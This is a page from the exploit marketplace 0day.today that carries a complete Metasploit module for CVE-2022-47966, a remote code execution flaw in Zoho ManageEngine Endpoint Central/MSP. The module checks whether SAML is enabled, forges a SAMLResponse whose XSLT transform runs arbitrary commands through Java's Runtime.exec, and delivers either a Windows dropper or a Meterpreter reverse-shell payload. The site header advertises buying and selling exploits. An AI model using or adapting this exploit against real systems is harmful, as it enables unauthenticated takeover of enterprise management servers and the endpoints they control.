0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Zoho ManageEngine Endpoint Central / MSP 10.1.2228.10 Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine Endpoint Central Unauthenticated SAML RCE', 'Description' => %q{ This exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine Endpoint Central and MSP versions 10.1.2228.10 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted `samlResponse` XML to the Endpoint Central SAML endpoint. Note that the target is only vulnerable if it is configured with SAML-based SSO , and the service should be active. }, 'Author' => [ 'Khoa Dinh', # Original research 'horizon3ai', # PoC 'Christophe De La Fuente', # Based on the original code of the ServiceDesk Plus Metasploit module 'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Added some small tweaks to the original code of Christophe to make it work for this target ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-47966'], ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'], ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'], ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'], ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis'] ], 'Platform' => [ 'win' ], 'Payload' => { 'BadChars' => "\x27" }, 'Targets' => [ [ 'Windows EXE Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper, 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } } ] ], 'DefaultOptions' => { 'RPORT' => 8443, 'SSL' => true }, 'DefaultTarget' => 1, 'DisclosureDate' => '2023-01-10', 'Notes' => { 'Stability' => [CRASH_SAFE,], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Privileged' => true ) ) register_options([ OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]), OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ]) ]) end def check_saml_enabled res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/SamlRequestServlet') }) if res.nil? print_error('No response from target.') return false end # ManageEngine Endpoint Servers with SAML enabled respond with 302 and a HTTP header Location: containing the SAML request if res && res.code == 302 && res.headers['Location'].include?('SAMLRequest=') return true else return false end end def check # check if SAML-based SSO is enabled otherwise exploit will fail # No additional fingerprint / banner information available to collect and determine version return Exploit::CheckCode::Safe unless check_saml_enabled CheckCode::Detected('SAML-based SSO is enabled.') end def encode_begin(real_payload, reqs) super reqs['EncapsulationRoutine'] = proc do |_reqs, raw| raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw end end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :windows_command execute_command(payload.encoded) when :windows_dropper execute_cmdstager(delay: datastore['DELAY']) end end def execute_command(cmd, _opts = {}) if target['Type'] == :windows_dropper cmd = "cmd /c #{cmd}" end cmd = cmd.encode(xml: :attr).gsub('"', '') assertion_id = "_#{SecureRandom.uuid}" # Randomize variable names and make sure they are all different using a Set vars = Set.new loop do vars << Rex::Text.rand_text_alpha_lower(5..8) break unless vars.size < 3 end vars = vars.to_a saml = <<~EOS <?xml version="1.0" encoding="UTF-8"?> <samlp:Response ID="_#{SecureRandom.uuid}" InResponseTo="_#{Rex::Text.rand_text_hex(32)}" IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <Assertion ID="#{assertion_id}" IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"> <Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="##{assertion_id}"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"> <xsl:stylesheet version="1.0" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/> <xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/> <xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/> <xsl:value-of select="$#{vars[2]}"/> </xsl:template> </xsl:stylesheet> </ds:Transform> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue> <ds:KeyInfo/> </ds:Signature> </Assertion> </samlp:Response> EOS res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI']), 'vars_post' => { 'SAMLResponse' => Rex::Text.encode_base64(saml) } }) unless res&.code == 200 lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip) unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') } elog("Unkown error returned:\n#{lines.join("\n")}") fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.") end fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)') end res end end # 0day.today [2024-06-28] #